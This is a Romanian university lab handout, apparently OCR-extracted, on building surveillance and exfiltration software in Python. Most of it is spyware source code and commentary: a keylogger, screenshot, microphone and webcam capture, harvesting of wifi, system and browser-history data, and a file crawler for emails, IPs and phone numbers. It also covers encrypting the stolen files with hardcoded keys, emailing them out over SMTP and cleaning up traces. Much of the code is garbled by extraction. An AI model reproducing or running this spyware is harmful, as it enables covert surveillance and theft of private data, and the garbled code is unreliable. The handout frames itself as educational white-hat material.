Laborator 13
Dezvoltare aplicatii pentru urmarire si exfiltrare

Un mic supraveghetor si raportor
O prima observatie ar fi ca exemplul este educational din zona whitehack si daca 1l folositi in alte scopuri va
asumati explicit toate consecintele legale care deriva (am discutat sau o sa mai discutam la curs toate tipurile
de legislatie nationala si internationald pe care le Incalcati!).
Apoi - nici un hacker sanatos la cap nu foloseste Python-ul decat pentru automatizdri minore - am ales
Python-ul pentru aceste laboratoare datoritd limitarilor de cunoastere pe care le pot avea studentii dar si
pentru ca este un curs introductiv.
Aplicatia prezentatd monitorizeaza tastatura, ecranul (mai face niste capturi din cand in cand), microfonul si
camera web (tot la nivel de fotografii din cand in cand).
In mod normal ar trebui si studiati separat toate bibliotecile folosite apoi si va reimprospatati eventual
suplimentati cunostintele primite de la diverse cursuri care sunt utilizate in biblioteci si In programele
exemplu - abia atunci veti putea beneficia in mod real de acest laborator. Altminteri rdmaneti la nivel de
script-kiddies!
In proiectul Pycharm va trebui sa instalati modulele cryptography, scipy, Pillow (un fork al batranului PIL),
pyinput, browserhistory,opencv-python sounddevice, si requests.
In programul exemplu sunt mai multe biblioteci importate decat cele mentionate deoarece evident ci v-am
dat o bucatica de pornire cu care nu puteti face prea multe prostii numai prin simpla executie fard a va bate
capul prea mult. Si acum programul de test:
subprocess, socket, os, re, smtplib, logging, pathlib, json, time, cv2, sounddevice, shutil
requests
sqlite3
browserhistory as bh
multiprocessing Process
pynputkeyboard Key, Listener
PIL ImageGrab
scipy.io.wavfile write as write_rec
cryptography.fernet Fernet
email.mime.multipart MIMEMultipart
email.mime.text MIMEText
email.mime.base MIMEBase
email encoders

logg_keys(file_path):
logging.basicConfig( =(file_path +
=logging.DEBUG
ON_press = Key: logging.info(str(Key))
Listener( =0ON_press) listener:
listenerjoin()

screenshot(file_path):
pathlib.Path(
screen_path = file_path +
X ¢ )
pic = ImageGrab.grab()
pic.save(screen_path + format(x))
time.sleep(5)

microphone(file_path):
X (0, 5):
fs =
seconds =
myrecording = sounddevice.rec(int(seconds * fs)




sounddevice.wait()
write_rec(file_path + format(x), fs, myrecording)

webcam(file_path):

pathlib.Path( ).mkdir(

cam_path = file_path +

cam = cv2.VideoCapture(0)

X ¢ )

ret, img = cam.read()
file = (cam_path + format(x))
cv2.imwrite(file, img)
time.sleep(5)

cam.release()

cv2.destroyAllwindows()

email_base(name, email _address):

name[ ] = email _address

name['To'] = email_address

name[ 1=

body =

name.attach(MIMEText(body )

name

smtp_handler(email _address, password, name):

S = smtplib.SMTP( )

s.starttls()

slogin(email _address, password)

s.sendmail(email_address, email _address, name.as_ string())

s.quit()

send_email(path):
regex = re.compile(
regex2 = re.compile(
regex3 = re.compile(
regex4 = re.compile(
regex5 = re.compile(
email _address =
password =
msg = MIMEMultipart()
email_base(msg, email_address)
exclude = set([ D
dirs, files in os.walk(path = ):
dirnames[:] = [d din dirsif d exclude]
file in files:
regex.match(file) or regex2 match(file) \
regex3.match(file) or regex4.match(file):
p = MIMEBase( )
(path + /" + file, 'rb") as attachment:
p.set_payload(attachment.read())
encoders.encode_basebt4(p)
p.add_header(
format(file))
msg.attach(p)
regex5 match(file):
msg_alt = MIMEMultipart()
email_base(msg_alt, email_address)
p = MIMEBase(




(path + /" + file, 'rb") as attachment:
p.set_payload(attachment.read())
encoders.encode_base6t4(p)
p.add_header(
format(file))
msg_altattach(p)

smtp_handler(email _address, password, msg_alt)

smtp_handler(email _address, password, msg)
main():

pathlib.Path( ).mkdir(

file_path =

(file_path + ) as network _ wifi:

commands = subprocess.Popen([
]
=network _ wifi =network _ wifi
= commands.communicate( )

subprocess. TimeoutExpired:
commands.kill()
= commands.communicate()

hostname = socket.gethostname()
IPAddr = socket.gethostbyname(hostname)
(file_path + ) as system_info:

public_ip = requests.get( text
requests.ConnectionError:
public_ip =

system_info.write( + public_ip + \
+ + IPAddr +

get_sysinfo = subprocess.Popen([ ]
=system_info =system_info

)

= get_sysinfo.communicate(

subprocess. TimeoutExpired:
get_sysinfokill()
= get_sysinfo.communicate()

browser_history =[]
bh_user = bh.get_username()
db_path = bh.get _database paths()
hist = bh.get_browserhistory()
browser_history.extend((bh_user, db_path, hist))
(file_path + ) as browser_txt:
browser_txtwrite(json.dumps(browser_history))

p1 = Process( =logg_keys =(file_path));




pl.start()

p2 = Process( =screenshot =(file_path));
p2.start()

p3 = Process( =microphone =(file_path));
p3.start()

p4 = Process( SWlelelolag =(file_path));
p4.start()

pljoin(

p2join

p3.join(

p4.join(

plterminate();

p2terminate();

p3.terminate();

p4.terminate()

__nhame__ ==

| main()

¢ )
ex:
logging.basicConfig( =logging.DEBUG

logging.exception( format(ex))

Daca ne uitdm In programul exemplu observam cd pentru fiecare fisier din calea data acesta va Incerca o
potrivire cu una din variabilele regex ( regex, regex2, ..., regex5). Daca una din ele se potriveste atunci toate
fisierele de acel tip vor fi atasate la acelasi email. Numai In cazul lui regex5(WAV) se va atasa numai cate
un fisier.

Din cate am spus pana acum rezulta destule subteme legate de program (completarile/modificarile
mentionate in afara de testarea propriuzisa) linux, daca va dadeam versiunea de Windows sigur nu rezistati
tentatiei ...

S-a utilizat pornirea cu try pentru a putea fi usor oprit cu un simplu Ctrl+C. Vedeti ca este si 0 minima
jurnalizare activata (afiseaza toate datele erorii si apoi continua operatiile).

Se observa ca am utilizat /var/tmp care este pentru fisiere persistente pe post de cale generala pentru fisierele
de capturd de orice tip. Cand veti modifica aplicatia sa cripteze, concateneze si apoi sa trimitd prin mail
fisierele este bine ca fisierul rezultat si cele intermediare sd fie puse in /tmp, e-mail-ul trimis si apoi totul
curatat ca si 1n cealalta situatie.




Pentru a aduna informatii primare despre reteaua computerului exploatat se utilizeazd un gestionar de
context pentru a gestiona fisierul in care se scriu aceste informatii. Se observa ca abordarea este primitiva
deoarece se lanseaza direct comenzi consola si se preiau iesirile acestora. Scopul este sa vedeti ce usor puteti
fi supravegheati fard sa stiti - un profesionist va lucra la nivel de kernel direct. In functie communicate este
utilizatd pentru a introduce o intarziere de un minut (daca este prea des apelatd produce supraincarcare fapt
care duce la detectia rapida chiar si de catre un looser.
outs, errs = commands. communicate (timeout=60)
Cand minutul trece, procesul este omorat si aceeasi functie este utilizatd pentru a anunta sistemul ca procesul
s-a terminat.
except subprocess. TimeoutExpired:

commands. kill ()

out, errs = commands. communicate ()
Informatiile despre ip-ul real sau sub care se prezintd masina sunt obtinute cu ajutorul API-ului de la ipipfy.
Profesional sunt alte cai mai elegante si care atrag mai putin atentia.
public ip = requests. get( https://api. ipify.org’ ). text
Pentru a obtine informatii despre navigator inclusiv tot istoricul de navigare si bookmark-urile se foloseste
baza de date a navigatorului. Aici va trebui sd mai modificati si sa testati. Mai mult ar trebui realizatd o
analizd automatd peste procesele raportate si apoi in functie de navigatorul activ sa fie activatd sectiunea
specifica pentru a obtine astfel de informatii (difera caile, maniera de pastrare ale acestora si multe altele).
De exemplu se utilizeazd modulul browserhistory.
browser history = []
bh user = bh. get username ()
db path = bh. get database paths()
hist = bh. get browserhistory ()
browser history. extend((bh user, db path, hist))with open(file path +  browser. txt’, 'a’)
as browser_ txt:

browser txt.write (json. dumps (browser history))

Pentru a reduce incércarea indusa s-a folosit paralelismul (nu mai vorbesc de tratarea separata a resurselor de
io diferite - blocante sau nu).
pl = Process(target=logg keys, args=(file path,)) ; pl.start()
p2 = Process (target=screenshot, args=(file path,)) ; p2.start()
p3 = Process (target=microphone, args=(file path,)) ; p3.start()
p4 = Process (target=webcam, args=(file path,)) ; p4.start()
Procesele sunt oprite dupa 300 de secunde
Din punct de vedere a urmaririi reale a utilizatorului vedeti cd sunt patru module care se ocupa de
monitorizarea completd a acestuia. Nu aveti decat sa monitorizati manual continutul directorului Logs din
/var/temp 1n timp ce programul se executa.
Pentru partea de tastaturd avem un keylogger primitiv dar eficient. Capturile de ecran se realizeaza odata la 5
secunde - chiar prea des. Pentru sunet inregistrarea este de un minut. Aici iar ar trebui sd sdpati pentru ca
existd mai multe sisteme suportate de Linux si sunt o serie de nuante de la distributie la distributie deci
profesional ar trebui pe baza raportarilor din uname eventual hardware (nu am introdus-o0) sa aveti sectiuni
separate.
Partea de monitorizare a camerei web face capturi tot la 5 secunde. Observam ca avem o sectiune unde se
face si o minima exfiltare care asociaza fisierele txt la o variabild apoi utilizeaza regex pentru a selecta orice
fisier xml (ar putea fi date wifi) care vor fi si ele addugate automat la raport.
Pentru partea de trimitere a e-mail-ului iar aveti un schelet functional bazat pe smtp si s-au folosit doua
functii email base si smtp _handler. Abordarea este necesara pentru cd dupa cum stiti e-mail-urile trebuie
tratate cu atentie datorita limitarilor de dimensiune pentru fisierele atasate. La Google am 25Mb si la YaHoo.
Daca ne gandim ca programul nu produce audio compresat (cine va impiedica sa il modificati - sunt codere
mp3 gratuite) dar cu capturile de camera si ecran nu prea avem ce face decat dacd mai scad calitatea ceea ce
nu este de dorit. Deci trebuie facute niste analize pentru a putea decide cand trebuie adunate si trimise criptat
raportarile.



Se observa ca functia de send email incepe prin a compila diverse expresii regulate pentru regex pentru a
putea trata corect fiecare tip de extensie care trebuie trimisa prin e-mail.

regex = re.compile(r’.+\.xml$ )

regex?2 = re.compile(r’.+\.txt$’)
re. compile(r’. +\. png$’)
re. compile(r’. +\. jpg$’)

regexb = re.compile(r’.+\.wav§’ )
Se defineste o variabild msg este definitd ca un atasament si este trimisa catre functia de baza. Datorita
limitdrilor anterior mentionate cea mai buna optiune este sa se ataseze toate fisierele de acelasi tip la un
singur e-mail. Dupa cum am spus wav sunt cam mari (nu au compresie) si atunci ar trebui ca fiecare
inregistrare de un minut sd fie trimisd separat. Oricum o astfel de incdrcare ar alerta pe cei care
supravegheaza manual si/sau automat serverul de e-mail al organizatiei. De aceea s-a stabilit o variabila ca
sa excluda directoarele Screenshots si WebcamPics.
exclude = set ([’ Screenshots’, ’WebcamPics’ ])
Functia walk din os este folosita pentru a selecta toate fisierele dintr-un director anume:
for dirpath, dirnames, filenames in os.walk (path, topdown=True) :
Pentru fiecare fisier din calea data va incerca o potrivire cu una din variabilele regex ( regex, regex2, ...,
regex5). Daca una din ele se potriveste atunci toate fisierele de acel tip vor fi atasate la acelasi email. Numai
in cazul lui regex5(WAV) se va atasa numai cate un fisier.
Din cate am spus pana acum rezulta destule subteme legate de program (completarile/modificarile
mentionate in afara de testarea propriuzisa). Pentru criptare puteti folosi ecdsa avem in alt laborator sau
daca nu puteti utiliza orice combinatie pe care ati invatat-o la cursul de profil la facultate).

regexd

regex4

Un pic de exfiltrare
Mai intai trebuie sa cautam recursiv in anumite directoare realizand filtrare dupa unele criterii (de ex
anumite extensii de fisiere).

Se masoara si timpul de executie. Apoi incep sa stabilesc cdile si filtrele pentru regex. Evident ca aici puteti
une absolut de criterii aveti voi in functie de ceea ce urmariti in procesul de exfiltrare.

h( ).mkdir(

re_txt = recompile(

re_email = recompile(

re_ip = re.compile(

re_phone = re.compile(

Crawler-ul prin fisiere este destul de simplu:
Se salveaza 1n jurnal calea de bazd. Apoi se merge prin fiecare director unde se ia fiecare fisier iar daca
filtrarea bazata pe regex identifica fisiere care respectd modelul specificat (compilat pentru vitezd) atunci
fiecare fisier din aceastd categorie este deschis si se cautd in el dacad existd anumite modele (date si ele
anterior in variabilele pentru regex) in cazul acestui exemplu vedeti ca se cautd informatii gen ip, mail sau
numere de telefon, apoi daca sunt Intrunite conditiile informatiile despre respectivul fisier (cale si nume)
sunt salvate Intr-un jurnal separat.

Pentru erori ale aplicatiei acestea sunt si ele salvate in fisierul error log.txt. Cea mai comuna situatie este
atunci cand este o problema de drepturi (de exemplu nu am voie sa deschid fisierul).

((eleligs ) as log:
root, dirs, files in os.walk(
g format(root))

log.write(
din dirs:
log.write( format(d))
log.write('"\n")



file in files:
log.write( format(file))
re_txtmatch(file):

(root +'/" + file) as search_file:
line in search_file:
(line)
re_email.search(line) or re_ip.search(line) or re_phone.search(line):
(path + ) as details:

details.write( format(root))
details.write( format(file))
details.write( format(line))

ex:
logging.basicConfig( =logging.DEBUG =
logging.exception( format(ex))

log.write('"\n")
Criptarea datelor obtinute

Avand in vedere ca sunt emise de calculatorul atacat si faptul cd dacd este treaba serioasd nici echipa
albastrd nu std de pomana, pentru a evita injectia cu informatii false fisierelor obtinute in urma exfiltrarii ar
fi bine sa fie un pic criptate. Evident ca 1n cazuri reale se folosesc abordari ceva mai serioase ca aceasta.
Se va parcurge directorul unde sunt pastrate fisierele rezultat pentru a lua fisier cu fisier. Apoi li se va genera
un hash de ex. cu SHAS12 (trivial) si se va salva intr-un alt fisier. Apoi se va cripta respectivul fisier
utilizdnd o cheie din program (iar nerecomandat in caz real). Se recalculeaza hash-ul pentru fisierul criptat si
se salveaza si el. Se va utiliza o cheie separata pentru a cripta si fisierul cu hash-uri.
key = b'UR58MZzIVHIGJal W42E4GOFD_ Ihb4vevs3wmWhVtOc='
root, dirs, files in os.walk(path):
file in files:
sha = sha512(strencode(file))
(path + hash_plain:
hash_plain.write( format(file, str(sha)))

(path + file, 'rb") as plain_text:
data = plain_textread()
encrypted = Fernet(key).encrypt(data)

(path + + file ) as encrypted_text:
encrypted_text.write(encrypted)
e_sha = sha512(strencode( + file))

(path + ) as hash_encrypt:
hash_encrypt.write( format(file, str(e_sha)))

hash_key = b'AP921IGyU8Zagnc568KT5ugjinAoc28qwBuB5fzZWYQfz0-='
((eleligs ) as plain_text:
data = plain_text.read()
encrypted = Fernet(hash_key).encrypt(data)

(path + ) as encrypted_text:
encrypted _textwrite(encrypted)




Trimiterea rezultatului prin e-mail

Se reparcurge directorul cu log-urile criptate si daca fisierele de acolo corespund modelului din regex pentru
ele atunci acestea sunt atasate la mesajul de mail.

Se observa ca smiplib stabileste furnizorul de servicii mail precum si portul utilizat pentru transfer.

Curatenie finala

Deoarece ar fi bine ca sa nu ramana prea multe urme ar trebui efectuat si asa ceva ceea ce este simplu. Tot
aici calculam si timpul de executie.

Un exemplu de test




ex:
logging.basicConfig( =logging.DEBUG =
logging.exception( format(ex))

Se observa jurnalizarea generala a erorilor despre care am vorbit

Tema laborator - Testati programele eventual mai adaptati-le pentru addugarea unor functionalitati noi la
alegerea voastra

Tema pe acasa
1. Combinati ambele programe astfel incat in afara de urmarirea utilizatorului sa se caute in zona lui de

acces orice fisier care se potriveste unui pattern (la nivel de nume, de continut etc). Deja incepe sa sune
a exploatare de baza nu?

2. Realizati programul care decripteaza fisierele si verificd hash-urile acestora.



